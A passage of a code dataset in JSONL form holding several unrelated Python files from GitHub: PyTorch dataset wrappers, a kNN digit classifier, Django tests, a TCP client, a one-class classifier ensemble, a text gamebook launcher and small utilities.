int:\n        if item_idx >= len(self):\n            raise IndexError()\n\n        return self._constant_value\n\n    def __str__(self):\n        return '[' + \\\n               ', '.join([str(self[idx]) for idx in range(len(self))]) + \\\n               ']'\n\n\nclass SubsetWithTargets(DatasetWithTargets[T_co]):\n    \"\"\"\n    A Dataset that behaves like a PyTorch :class:`torch.utils.data.Subset`.\n    However, this dataset also supports the targets field and class mapping.\n    \"\"\"\n    def __init__(self,\n                 dataset: IDatasetWithTargets[T_co],\n                 indices: Union[Sequence[int], None],\n                 class_mapping: Optional[Sequence[int]] = None):\n        super().__init__()\n        self.dataset = dataset\n        self.indices = indices\n        self.class_mapping = class_mapping\n        self.targets = LazyClassMapping(dataset.targets, indices,\n                                        mapping=class_mapping)\n\n    def __getitem__(self, idx):\n        if self.indices is not None:\n            result = self.dataset[self.indices[idx]]\n        else:\n            result = self.dataset[idx]\n\n        if self.class_mapping is not None:\n            return result[0], self.class_mapping[result[1]]\n\n        return result\n\n    def __len__(self) -> int:\n        if self.indices is not None:\n            return len(self.indices)\n        return len(self.dataset)\n\n\nclass ConcatDatasetWithTargets(DatasetWithTargets[T_co]):\n    \"\"\"\n    A Dataset that behaves like a PyTorch\n    :class:`torch.utils.data.ConcatDataset`. However, this dataset also\n    supports the targets field.\n    \"\"\"\n    def __init__(self, datasets: Sequence[IDatasetWithTargets[T_co]]):\n        super().__init__()\n        self.datasets = datasets\n        self._datasets_lengths = [len(dataset) for dataset in datasets]\n        self._overall_length = sum(self._datasets_lengths)\n        self.targets = LazyConcatTargets(\n            [dataset.targets for dataset in datasets])\n\n    def __getitem__(self, idx):\n        dataset_idx, internal_idx = find_list_from_index(\n            idx, self._datasets_lengths, self._overall_length)\n        return self.datasets[dataset_idx][internal_idx]\n\n    def __len__(self) -> int:\n        return self._overall_length\n\n\nclass SequenceDataset(DatasetWithTargets[T_co]):\n    \"\"\"\n    A Dataset that wraps existing ndarrays, Tensors, lists... to provide\n    basic Dataset functionalities. Very similar to TensorDataset.\n    \"\"\"\n    def __init__(self,\n                 dataset_x: Sequence[T_co],\n                 dataset_y: Sequence[SupportsInt]):\n        \"\"\"\n        Creates a ``SequenceDataset`` instance.\n\n        :param dataset_x: An sequence, Tensor or ndarray representing the X\n            values of the patterns.\n        :param dataset_y: An sequence, Tensor int or ndarray of integers\n            representing the Y values of the patterns.\n        \"\"\"\n        super().__init__()\n        if len(dataset_x) != len(dataset_y):\n            raise ValueError('dataset_x and dataset_y must contain the same '\n                             'amount of elements')\n\n        self.dataset_x = dataset_x\n        self.dataset_y = dataset_y\n        self.targets = LazyTargetsConversion(dataset_y)\n\n    def __getitem__(self, idx):\n        return self.dataset_x[idx], self.targets[idx]\n\n    def __len__(self) -> int:\n        return len(self.dataset_x)\n\n\nclass TensorDatasetWrapper(DatasetWithTargets[T_co]):\n    \"\"\"\n    A Dataset that wraps a Tensor Dataset to provide the targets field.\n\n    A Tensor Dataset is any dataset with a \"tensors\" field. The tensors\n    field must be a sequence of Tensor. To provide a valid targets field,\n    the \"tensors\" field must contain at least 2 tensors. The second tensor\n    must contain elements that can be converted to int.\n\n    Beware that the second element obtained from the wrapped dataset using\n    __getitem__ will always be converted to int, This differs from the\n    behaviour of PyTorch TensorDataset. This is required to keep a better\n    compatibility with torchvision datasets.\n    \"\"\"\n    def __init__(self, tensor_dataset: ITensorDataset[T_co]):\n        \"\"\"\n        Creates a ``TensorDatasetWrapper`` instance.\n\n        :param tensor_dataset: An instance of a TensorDataset. See class\n            description for more details.\n        \"\"\"\n        super().__init__()\n        if len(tensor_dataset.tensors) < 2:\n            raise ValueError('Tensor dataset has not enough tensors: '\n                             'at least 2 are required.')\n\n        self.dataset = tensor_dataset\n        self.targets = LazyTargetsConversion(tensor_dataset.tensors[1])\n\n    def __getitem__(self, idx):\n        obtained_item = list(self.dataset[idx])\n        obtained_item[1] = int(obtained_item[1])\n        return tuple(obtained_item)\n\n    def __len__(self) -> int:\n        return len(self.dataset)\n\n\ndef find_list_from_index(pattern_idx: int,\n                         list_sizes: Sequence[int],\n                         max_size: int):\n    if pattern_idx >= max_size:\n        raise IndexError()\n\n    cumulative_length = 0\n    for list_idx, list_length in enumerate(list_sizes):\n        dataset_span = cumulative_length + list_length\n        if pattern_idx < dataset_span:\n            return list_idx, \\\n                   pattern_idx - cumulative_length\n\n        cumulative_length = dataset_span\n    raise ValueError('Index out of bounds, wrong max_size parameter')\n\n\ndef manage_advanced_indexing(idx, single_element_getter, max_length):\n    \"\"\"\n    Utility function used to manage the advanced indexing and slicing.\n\n    If more than a pattern is selected, the X and Y values will be merged\n    in two separate torch Tensor objects using the stack operation.\n\n    :param idx: Either an in, a slice object or a list (including ndarrays and\n        torch Tensors) of indexes.\n    :param single_element_getter: A callable used to obtain a single element\n        given its int index.\n    :param max_length: The maximum sequence length.\n    :return: A tuple consisting of two tensors containing the X and Y values\n        of the patterns addressed by the idx parameter.\n    \"\"\"\n    patterns: List[Any] = []\n    labels: List[Tensor] = []\n    task_labels: List[int] = []\n    has_task_labels = False\n    indexes_iterator: Iterable[int]\n\n    treat_as_tensors: bool = True\n\n    # Makes dataset sliceable\n    if isinstance(idx, slice):\n        indexes_iterator = range(*idx.indices(max_length))\n    elif isinstance(idx, int):\n        indexes_iterator = [idx]\n    elif hasattr(idx, 'shape') and len(getattr(idx, 'shape')) == 0:\n        # Manages 0-d ndarray / Tensor\n        indexes_iterator = [int(idx)]\n    else:\n        indexes_iterator = idx\n\n    for single_idx in indexes_iterator:\n        single_element = single_element_getter(int(single_idx))\n        task_label = 0\n        if len(single_element) > 2:\n            has_task_labels = True\n            pattern, label, task_label = single_element\n        else:\n            pattern, label = single_element\n\n        if not isinstance(pattern, Tensor):\n            treat_as_tensors = False\n\n        patterns.append(pattern)\n        labels.append(label)\n        if has_task_labels:\n            task_labels.append(task_label)\n\n    if len(patterns) == 1:\n        if has_task_labels:\n            return patterns[0], labels[0], task_labels[0]\n        else:\n            return patterns[0], labels[0]\n\n    task_labels_cat = None\n    labels_cat = torch.tensor(labels)\n    if has_task_labels:\n        task_labels_cat = torch.tensor(task_labels)\n    patterns_cat = patterns\n\n    if treat_as_tensors:\n        patterns_cat = torch.stack(patterns)\n    if has_task_labels:\n        return patterns_cat, labels_cat, task_labels_cat\n    else:\n        return patterns_cat, labels_cat\n\n\nclass LazySubsequence(Sequence[int]):\n    \"\"\"\n    TODO: doc\n    \"\"\"\n    def __init__(self,\n                 sequence: Sequence[int],\n                 start_idx: int,\n                 end_idx: int):\n        self._sequence = sequence\n        self._start_idx = start_idx\n        self._end_idx = end_idx\n\n    def __len__(self):\n        return self._end_idx - self._start_idx\n\n    def __getitem__(self, item_idx) -> int:\n        if item_idx >= len(self):\n            raise IndexError()\n\n        return self._sequence[self._start_idx + item_idx]\n\n    def __str__(self):\n        return '[' + \\\n               ', '.join([str(self[idx]) for idx in range(len(self))]) + \\\n               ']'\n\n\ndef optimize_sequence(sequence: Sequence[int]) -> Sequence[int]:\n    if len(sequence) == 0 or isinstance(sequence, ConstantSequence):\n        return sequence\n\n    concat_ranges = []\n    streak_value = None\n    start_idx = -1\n    streak_start_idx = 0\n\n    for i, x in enumerate(sequence):\n        if i - streak_start_idx == 50 and streak_start_idx != start_idx:\n            concat_ranges.append(LazySubsequence(sequence, start_idx,\n                                                 streak_start_idx))\n            start_idx = streak_start_idx\n\n        if i == 0:\n            streak_start_idx = i\n            start_idx = i\n            streak_value = x\n        elif x != streak_value:\n            if i - streak_start_idx >= 50:\n                concat_ranges.append(ConstantSequence(streak_value,\n                                                      i - streak_start_idx))\n                start_idx = i\n\n            streak_start_idx = i\n            streak_value = x\n        else:  # x == last_value\n            pass\n\n    i = len(sequence)\n    if i - streak_start_idx < 50:\n        concat_ranges.append(LazySubsequence(sequence, start_idx, i))\n    else:\n        if streak_start_idx != start_idx:\n            concat_ranges.append(LazySubsequence(sequence, start_idx,\n                                                 streak_start_idx))\n\n        concat_ranges.append(ConstantSequence(streak_value,\n                                              i - streak_start_idx))\n\n    if len(concat_ranges) == 1:\n        if isinstance(concat_ranges[0], LazySubsequence):\n            # Couldn't optimize\n            return sequence\n        return concat_ranges[0]  # Best situation ever: we got a single range!\n\n    return LazyConcatTargets(concat_ranges)\n\n\n__all__ = [\n    'IDataset',\n    'IDatasetWithTargets',\n    'ITensorDataset',\n    'IDatasetWithIntTargets',\n    'DatasetWithTargets',\n    'LazyClassMapping',\n    'LazyConcatTargets',\n    'LazyTargetsConversion',\n    'ConstantSequence',\n    'SubsetWithTargets',\n    'ConcatDatasetWithTargets',\n    'SequenceDataset',\n    'TensorDatasetWrapper',\n    'find_list_from_index',\n    'manage_advanced_indexing',\n    'optimize_sequence'\n]\n","repo_name":"Mattdl/RehearsalRevealed","sub_path":"framework/avalanche/benchmarks/utils/dataset_utils.py","file_name":"dataset_utils.py","file_ext":"py","file_size_in_byte":17437,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"60"}
+{"seq_id":"13374100431","text":"\"\"\"\n54. 写一个程序处理用户输入的字符串，并按用户要求删除其中第 n 个字符，返\n    回删除字符后的字符串。\n\"\"\"\n\n\ndef DeleteN(s, n):\n    n = n - 1\n    return ''.join([s[:n], s[n+1:]])\n\n\nif __name__ == \"__main__\":\n    s = input('请输入一个字符串：')\n    n = int(input('请输入一个整数(从1开始)：'))\n    print('删除后为：', DeleteN(s, n))\n","repo_name":"HolgerZhang/Holger-CS-Learn","sub_path":"Python/Lab.2019/Lab1-8/54.py","file_name":"54.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"2487875040","text":"import sys\nfrom os import listdir\nimport numpy as np\nimport operator\n\ndef createDataSet(dirname):\n    labels = []\n    trainingFileList = listdir(dirname)\n    m = len(trainingFileList)\n    matrix = np.zeros((m, 1024)) # 반환된 vector를 담을 곳\n\n    for i in range(m): # 파일의 개수(1934개)만큼 반복\n        fileNameStr = trainingFileList[i]\n        answer = int(fileNameStr.split('_')[0]) # 정답 저장 \n        labels.append(answer)\n        matrix[i, :] = getVector(dirname + '/' + fileNameStr)\n    return matrix, labels \n\ndef classify0(inX, dataSet, labels, k): # 거리 계산 (Euclidian distance)\n    dataSetSize = dataSet.shape[0]\n    diffMat = np.tile(inX, (dataSetSize, 1)) - dataSet\n    sqDiffMat = diffMat ** 2 # 제곱\n    sqDistances = sqDiffMat.sum(axis = 1) # 주어진 axis로 배열 요소들의 합계 반환\n    distances = sqDistances ** 0.5 # 루트 씌우기\n    sortedDistIndicies = distances.argsort() # 정렬가능한 index list 반환\n    classCount = {} # Dictionary 선언\n\n    for i in range(k): # 가장 짧은 거리를 투표\n        voteIlabel = labels[sortedDistIndicies[i]] # label을 구분하여 넣어줌 (0 or 1 or 2 ..) \n        # Dictionary의 메소드 get(key값, 0) : key값이 있으면 key값을 가져오고, 없으면 0을 가져와라!\n        classCount[voteIlabel] = classCount.get(voteIlabel, 0) + 1 # 값의 개수를 count하는 Dictionary\n    sortedClassCount = sorted(classCount.items(), key= operator.itemgetter(1), reverse=True) # Dictionary를 개수로 정렬 (array반환)\n    return sortedClassCount[0][0]\n\ndef getVector(filename): # txt file을 1행 1024열 vector(list)로 변환 \n    vector = np.zeros((1, 1024)) # 1024 = 32 x 32\n    with open(filename) as f:\n        for i in range(32):\n            line = f.readline()\n            for j in range(32):\n                vector[0, 32 * i + j] = int(line[j])\n        return vector        \n\n# main\ntrainingFileDirName = sys.argv[1]\ntestFileDirName = sys.argv[2]\n\ntestFileList = listdir(testFileDirName)\nlength = len(testFileList)\n\nmatrix, labels = createDataSet(trainingFileDirName)\n\nfor k in range(1, 20, 2): # 1부터 20까지의 홀수만\n    count = 0 # 전체 데이터 개수\n    errorCount = 0 # 에러가 발생한 데이터 개수\n    \n    for i in range(length): # 테스트 데이터 개수만큼 반복\n        answer = int(testFileList[i].split('_')[0])\n        testData = getVector(testFileDirName + '/' + testFileList[i])\n        classifiedResult = classify0(testData, matrix, labels, k)\n        \n        count += 1\n        if answer != classifiedResult :\n            errorCount += 1\n    \n    #print(str(errorCount) + \"/\" + str(count))\n    print(int(errorCount / count * 100))\n\n","repo_name":"Seonmi-Hwang/study","sub_path":"Python/HW5/Student20170995.py","file_name":"Student20170995.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"7461714629","text":"from unittest import skip\nfrom django.test import TestCase, RequestFactory\nfrom django.utils import timezone\nfrom .models import User, SystemMessage, EventMessage, Game\nfrom .views import landing, entry_page\n\nclass ModelsTest( TestCase ):\n\n    def test_system_messages( self ):\n        txt = \"system message\"\n        msg = SystemMessage(message_added=timezone.now(), message_text=txt)\n        lbl = '{}'.format( msg )\n        self.assertTrue( lbl.endswith(txt) )\n\n    def test_event_messages( self ):\n        txt = \"event message\"\n        msg = EventMessage(event_added=timezone.now(), event_title=txt)\n        lbl = '{}'.format( msg )\n        self.assertTrue( lbl.endswith(txt) )\n\n    def test_game_object( self ):\n        txt = \"game name\"\n        obj = Game(game_name=txt)\n        lbl = '{}'.format(obj)\n        self.assertEqual(lbl,txt)\n\n\nclass ViewsTest( TestCase ):\n\n    @classmethod\n    def setUpTestData(cls):\n        User.objects.create_user( username='padraigh',\n            email='padraigh@fallenacorn,com', password='gillespie')\n\n    def setUp(self):\n        # Every test needs access to the request factory.\n        self.factory = RequestFactory()\n\n    def test_landing_page( self ):\n        response = self.client.get( '/' )\n        self.assertEqual( response.status_code, 200 )\n        self.assertEqual( response.templates[0].name, 'frontpage.html' )\n\n        self.client.login( username=\"padraigh\",password=\"gillespie\")\n        response = self.client.get( '/' )\n        self.assertEqual( response.status_code, 200 )\n        self.assertEqual( response.templates[0].name, 'homepage.html' )\n\n    def test_entry_page( self ):\n        response = self.client.get( '/entry/' )\n        self.assertEqual( response.status_code, 200 )\n        self.assertEqual( response.templates[0].name, 'registration/entryPage.html' )\n\n        request = self.factory.post('/entry/',{'user_name': \"cory\"})\n        response = entry_page( request )\n        rc = response.content\n        bgn = rc.find(b'<p class=\"helptext ')\n        end = rc.find(b'>',bgn)\n        txt = rc[19+bgn:end-1].decode()\n        self.assertEqual( txt, 'nop' )\n\n        request = self.factory.post( '/entry/', { 'user_name': \"padraigh\" } )\n        response = entry_page( request )\n        rc = response.content\n        bgn = rc.find(b'<div class=\"errmsg')\n        mid = rc.find(b'>',bgn)\n        end = rc.find(b'</div>',mid)\n        txt = rc[1+mid:end].decode()\n        self.assertEqual(txt, 'Name already in use')\n\n        request = self.factory.post( '/entry/', { 'user_name': \"padraigh\",\n                                                  'sign_in': \"\"} )\n        response = entry_page( request )\n        rc = response.content\n        bgn = rc.find(b'<!-- TEMPLATE: ')\n        end = rc.find(b'-->',bgn)\n        txt = rc[15+bgn:end-1].decode()\n        self.assertEqual( txt, 'registration/loginPage.html')\n\n\n        request = self.factory.post( '/entry/', { 'user_name': \"marilynn\" } )\n        response = entry_page( request )\n        rc = response.content\n        bgn = rc.find(b'<div class=\"errmsg')\n        mid = rc.find(b'>',bgn)\n        end = rc.find(b'</div>',mid)\n        txt = rc[1+mid:end].decode()\n        self.assertEqual(txt, 'Name not found')\n\n        request = self.factory.post( '/entry/', { 'user_name': \"marilynn\",\n                                                  'sign_up': \"\"} )\n        response = entry_page( request )\n        rc = response.content\n        bgn = rc.find(b'<!-- TEMPLATE: ')\n        end = rc.find(b'-->',bgn)\n        txt = rc[15+bgn:end-1].decode()\n        self.assertEqual( txt, 'registration/registerPage.html')\n\n    @skip(\"login page\")\n    def test_login_page( self ):\n       response = self.client.get( '//' )\n       self.assertEqual( response.status_code, 200 )\n       self.assertEqual( response.templates[0].name, 'registration/loginPage.html' )\n\n    @skip(\"registry page\")\n    def test_registry_page( self ):\n        response = self.client.get( '//' )\n        self.assertEqual( response.status_code, 200 )\n        self.assertEqual( response.templates[0].name, 'registration/registerPage.html' )\n\n    def test_home_page( self ):\n        response = self.client.get( '/home/' )\n        self.assertEqual( response.status_code, 200 )\n        self.assertEqual( response.templates[0].name, 'homepage.html' )\n","repo_name":"catherinashby/tradlos-web","sub_path":"core/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39522412380","text":"'''\n    __author__ = Sun Hai Lang\n    __date__ = 2019-09-23\n'''\n\nimport sys\n\nimport os, json\no_path = os.getcwd()\nsys.path.append(o_path)\n\nimport socket, json, struct, math\nfrom socket import error as SocketError\nimport errno\n\nimport threading\nfrom MyThread import MyThread\nfrom Utils.AppConfigUtils import *\n\nfrom SocketUtils.TCP_CommandUtil import TCP_CommandUtil\n\nclass TCP_ClientManager(object):\n\n    def __init__(self):\n        self.platform = getPlatform()\n        host, ip, port = getTcpConfig()\n        try:\n            self.TCP_IP_ADDRESS = socket.gethostbyname(host)\n            self.TCP_PORT_NO = port\n            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            self.server_address = (self.TCP_IP_ADDRESS, self.TCP_PORT_NO)\n            self.sock.connect(self.server_address)\n        except SocketError as e:\n            self.sock = None\n            print(e.errno)\n        \n        \n\n    def startThread(self):\n        if self.sock:\n            #thread.Thread(target=self.recvData).start()\n            thread1 = MyThread().createThread(self.recvData)\n            thread1.start()\n            return thread1, self.sock\n        else:\n            return None, None\n        \n    \n    def recvData(self, args={}):\n        try:\n            recv_buffer = 1024\n            recv_size = 0\n            recevied_data = b''  #客户端每次发来内容的计数器\n            while True:\n                try:\n                    data = connection.recv(recv_buffer)\n                    recvLen, = struct.unpack('i', data)\n                    print('recv data length: {}'.format(recvLen))\n                    \n                    while True:\n                        try:\n                            data = connection.recv(recv_buffer)\n                            recv_size = recv_size + len(data)\n                            recevied_data += data\n                            if recv_size >= recvLen:\n                                # deal with \n                                request = recevied_data.decode('utf-8')\n                                print(request)\n\n                                recv_size = 0\n                                recevied_data = b''\n                                break\n                        except SocketError as e:\n                            recv_size = 0\n                            recevied_data = b''\n                            print(e.errno)\n                            break                        \n                except SocketError as e:\n                    print(e.errno)\n                    break\n        finally:\n            if self.sock:\n                self.sock.close()\n        \n\n    def __del__(self):\n        pass\n\nif __name__ == \"__main__\":\n    recvData = bin(40)\n    print(recvData)","repo_name":"SunHailang/SoftLiu_PythonServerIO","sub_path":"SocketUtils/TCP_ClientManager.py","file_name":"TCP_ClientManager.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16304000090","text":"import Queue\nfrom threading import Thread, Lock\nfrom uids.utils.Logger import Logger as log\nfrom abc import abstractmethod\nfrom time import sleep, time\nimport numpy as np\n\n\nclass MultiClassClassifierBase:\n    \"\"\"\n    Ensemble Classifier comprised of multiple One Class Classifiers.\n\n    Functionality:\n    _________________________________________\n    - Classifier Generation (Initialization)\n    - Classifier (re-)training in threads\n    \"\"\"\n\n    STATUS = 0\n\n    # status\n    STATUS_CLEAN = {\n        0: 'shutdown',\n        1: 'running'\n    }\n\n    # classifier instances (Ensemble)\n    classifiers = {}        # classifier instances\n    classifier_states = {}  # number of trainings/updates classifiers have received\n    nr_classes = 0\n\n    # placeholder - implemented in specific classifier\n    CLASSIFIER = ''\n    VALID_CLASSIFIERS = {}\n\n    # multi-threaded training\n    __verbose = False\n    __tasks = Queue.Queue(maxsize=0)\n    __num_threads = 3\n\n    # training data\n    trainig_data_lock = Lock()\n    classifier_update_stacks = {}   # store update data till trainer is available\n\n    # training on timeout\n    training_timeouts = {}  # add a timestamp, when sample is first added\n    training_timeout = 10   # force training after 10sec\n\n    def __init__(self, classifier_type):\n\n        # define valid classifiers\n        self.define_classifiers()\n\n        if classifier_type not in self.VALID_CLASSIFIERS:\n            raise ValueError('Invalid Classifier \"{}\". You can choose between: {}'.format(classifier_type, str(list(self.VALID_CLASSIFIERS))))\n\n        self.CLASSIFIER = classifier_type\n\n        # perform classifier training in tasks\n        # self.__start_classifier_trainers()\n\n        log.info('cl', \"{} Classifier Tree initialized\".format(self.CLASSIFIER))\n\n    def init_classifier(self, class_id, class_samples):\n        \"\"\"\n        Initialise a One-Class-Classifier with sample data\n        :param class_id: new class id\n        :param class_samples: samples belonging to the class\n        :return: True/False - success\n        \"\"\"\n\n        log.info('cl', \"Initializing new Classifier for user ID {}\".format(class_id))\n        if class_id in self.classifiers:\n            log.severe(\"Illegal reinitialization of classifier\")\n            return False\n        self.classifiers[class_id] = self.generate_classifier()\n        self.nr_classes += 1\n        self.classifier_states[class_id] = 0\n\n        # add samples to update stack\n        with self.trainig_data_lock:\n            self.classifier_update_stacks[class_id] = class_samples\n        # directly train classifier\n        return self.train_classifier(class_id)\n\n    def add_training_data(self, classifier_id, samples):\n        # do not collect data if training is not active\n        if self.STATUS == 0:\n            return\n\n        with self.trainig_data_lock:\n            if classifier_id in self.classifier_update_stacks:\n                self.classifier_update_stacks[classifier_id] = np.concatenate((self.classifier_update_stacks[classifier_id], samples)) \\\n                    if self.classifier_update_stacks[classifier_id].size \\\n                    else samples\n            else:\n                self.classifier_update_stacks[classifier_id] = samples\n\n    # -------- threaded classifier training\n\n    def add_training_task(self, classifier_id):\n        with self.__tasks.mutex:\n            if classifier_id not in self.__tasks:\n                self.__tasks.put(classifier_id)\n\n    def __classifier_trainer(self):\n        \"\"\"\n        Manually triggered classifier training\n        :return:\n        \"\"\"\n        if self.__verbose is True:\n            log.info('cl', \"Starting classifier training thread\")\n\n        while self.STATUS == 1:\n            try:\n                training_id = self.__tasks.get(False)\n            except Queue.Empty:\n                sleep(0.25)  # Time in seconds.\n            else:\n                if training_id not in self.classifiers:\n                    log.severe(\"Cannot train class {} without creating the classifier first\".format(training_id))\n                else:\n                    self.train_classifier(training_id)\n                self.__tasks.task_done()\n\n    def __timeout_checker(self):\n        while self.STATUS == 1:\n            # check timeout trainings\n            now = time()\n            for cls_id in self.training_timeouts.keys():\n                if now - self.training_timeouts[cls_id] > self.training_timeout:\n                    # add timed out classifiers to training tasks\n                    self.add_training_task(cls_id)\n                    del self.training_timeouts[cls_id]\n            sleep(1)  # sleep (sec)\n\n    def stop_classifier_trainers(self):\n        self.STATUS = 0\n\n    def __start_classifier_trainers(self):\n        self.STATUS = 1\n\n        # classifier trainers\n        for i in range(self.__num_threads):\n            t = Thread(target=self.__classifier_trainer)\n            t.daemon = True  # terminate if main thread ends\n            t.start()\n\n        # timeout checker\n        t = Thread(target=self.__timeout_checker)\n        t.daemon = True  # terminate if main thread ends\n        t.start()\n\n\n    #\n    # @abstractmethod\n    # def train_classifier(self, class_id):\n    #     \"\"\"\n    #     IMPLEMENTED IN FINAL MULTI-CLASS CLASSIFIER MODEL\n    #\n    #     e.g.\n    #     samples = self.p_user_db.get_class_samples(class_id)\n    #     self.classifiers[class_id].fit(samples)\n    #     \"\"\"\n    #     raise NotImplementedError(\"Classifier training must be implemented first.\")\n    #\n\n    # TODO: is this thread-safe? training + prediction at the same time?\n    def train_classifier(self, class_id):\n        \"\"\"\n        Retrain One-Class Classifiers (partial_fit)\n        \"\"\"\n\n        log.info('cl', \"(Re-)training Classifier for user ID {}\".format(class_id))\n\n        # extract data\n        with self.trainig_data_lock:\n            # get update samples from stack\n            if class_id in self.classifier_update_stacks:\n                update_samples = self.classifier_update_stacks[class_id]\n                # clear\n                self.classifier_update_stacks[class_id] = np.array([])\n            else:\n                update_samples = []\n\n        start = time()\n\n        if len(update_samples) > 0:\n            \"\"\"\n            INCREMENTAL Methods: Use partial fit with stored update data\n                - Samples: Partially stored in Cluster\n            \"\"\"\n            self.classifiers[class_id].partial_fit(update_samples)\n            self.classifier_states[class_id] += 1\n        else:\n            log.warning(\"No training/update samples available\")\n\n        if self.__verbose:\n            log.info('cl', \"fitting took {} seconds\".format(time() - start))\n\n    # ----------------------- abstract methods\n\n    @abstractmethod\n    def define_classifiers(self):\n        \"\"\"\n        e.g.\n        self.VALID_CLASSIFIERS = {'OCSVM', 'OCSVM_RBF', 'RF'}\n\n        A Classifier needs the following methods:\n        - fit(samples) (partial or regular)\n        - predict(samples)\n        \"\"\"\n        raise NotImplementedError(\"Classifier options must be defined first.\")\n\n    @abstractmethod\n    def generate_classifier(self):\n        \"\"\"\n        IMPLEMENTED IN FINAL MULTI-CLASS CLASSIFIER MODEL\n\n        Generate classifier instance - e.g.:\n        if self.CLASSIFIER == 'OCSVM':\n            return svm.OneClassSVM(nu=0.1, kernel=\"linear\", gamma=0.1)\n        elif self.CLASSIFIER == 'OCSVM_RBF':\n            return svm.OneClassSVM(nu=0.1, kernel=\"rbf\", gamma=0.1)\n        elif self.CLASSIFIER == 'RF':\n            return IsolationForest(random_state=np.random.RandomState(42))\n        \"\"\"\n        raise NotImplementedError(\"Classifier generation must be implemented first.\")\n\n    @abstractmethod\n    def process_labeled_stream_data(self, class_id, samples):\n        \"\"\"\n        IMPLEMENTED IN FINAL MULTI-CLASS CLASSIFIER MODEL\n\n        Incorporate labeled data into the classifiers. Classifier for {class_id} must be initialized already\n        \"\"\"\n        raise NotImplementedError(\"Stream processing must be implemented first.\")\n\n","repo_name":"alialavia/UserIdentification","sub_path":"uids/uids/v2/MultiClassClassifierBase.py","file_name":"MultiClassClassifierBase.py","file_ext":"py","file_size_in_byte":8086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"5716033748","text":"import random\n\nprint (\"Welcome to OnlineGameBook, the fluid, yet random online gamebook genre type program! Please fill out the following question to deter 4 year olds.\")\n\nnumbers = 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20\noperators = \"*\", \"+\"\n\noperand1 = random.choice(numbers)\noperand2 = random.choice(numbers)\noperator = random.choice(operators)\n\nif operator == '+':\n    answer = operand1 + operand2\nelif operator == '-':\n    answer = operand1 - operand2\nelse:\n    answer = operand1 * operand2\n\nuser_input = input(str(operand1) + operator + str(operand2) + \"? \")\n\nif str(answer) == user_input:\n    print(\"Correct!\")\n    print(\"Choose your gamebook! Your options are Pompeii (at the time of the eruption), Britian (at the time of the Renaissance, Germany (at the time of WW2, Russia (at the time of the Russian Revoloution), France (at the time of Napoleon), and the USA (at the time of the revoloution. Type the number in which they are chronologicallly listed (for example Pompeii 1, Britian 2, etc) for that specific OnlineGameBook!\")\nelse:\n    print(\"Wrong!\")\n\nOGB_question = input()\n\nif OGB_question == '1':\n  import OGB_Pompeii\nelif OGB_question == '2':\n  import OGB_Britian\nelif OGB_question == '3':\n  import OGB_Germany\nelif OGB_question == '4':\n  import OGB_Russia\nelif OGB_question == '5':\n  import OGB_France\nelif OGB_question == '6':\n  import OGB_USA\nelse:\n  print (\"You have not entered a valid number/sentence/etc. If you wish to go forth, please reload the OnlineGameBook, and enter a valid number/sentence/etc.\")","repo_name":"PlusHistoriae/OnlineGameBook","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15573621977","text":"from promptimize.suite import Suite\nfrom promptimize.reports import Report\nfrom preql_nlp.prompts.prompt_executor import BasePreqlPromptCase\nfrom promptimize.utils import serialize_object\nfrom typing import List, Callable\nfrom pydantic import BaseModel\n\n\ndef generate_test_case(\n    prompt: BasePreqlPromptCase,\n    tests:List[Callable[[BaseModel], bool]],\n    **kwargs,\n):\n    evaluators = []\n    evaluators.append(lambda x: prompt.parse_response(x) is not None)\n    for idx, test in enumerate(tests):\n        evaluators.append(lambda x, idx=idx, test=test: test(prompt.parse_response(x)) ) # type: ignore\n\n    case = prompt(\n        **kwargs,\n        evaluators=evaluators,\n    )\n    return case\n\ndef evaluate_cases(cases:List[BasePreqlPromptCase]):\n    suite = Suite(cases)\n    suite.execute(\n        silent=True\n        # verbose=verbose,\n        # style=style,\n        # silent=silent,\n        # report=report,\n        # dry_run=dry_run,\n        # keys=key,\n        # force=force,\n        # repair=repair,\n        # human=human,\n        # shuffle=shuffle,\n        # limit=limit,\n    )\n    output_report = Report.from_suite(suite)\n    # print results to log\n    print(serialize_object(output_report.data.to_dict(), highlighted=False, style=\"yaml\"))\n    # print(output_report.print_summary())\n    # actually fail the test if something doesnt pass\n    for key in output_report.failed_keys:\n        raise Exception(f\"Failed key: {key}\")\n","repo_name":"preqldata/preql-nlp","sub_path":"tests/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"43707067834","text":"#!/usr/bin/env python\nimport sys\nfrom numpy import *\nimport h5py\n\nfname_in=sys.argv[1]\nfname_out = sys.argv[1][:-4]+'.h5'\n\nM = loadtxt(fname_in, dtype=float32)\nN = M.shape[0]\n\nfout = h5py.File(fname_out, 'w')\nnchunk_rows = (64*1024 / (4 * N) + 1)\ndset = fout.create_dataset('M', (N,N), '<f4', chunks=(nchunk_rows, N), compression='gzip')\n\ndset[:,:] = M.T\nfout.close()\n","repo_name":"iong/SCP3","sub_path":"python/toh5T.py","file_name":"toh5T.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
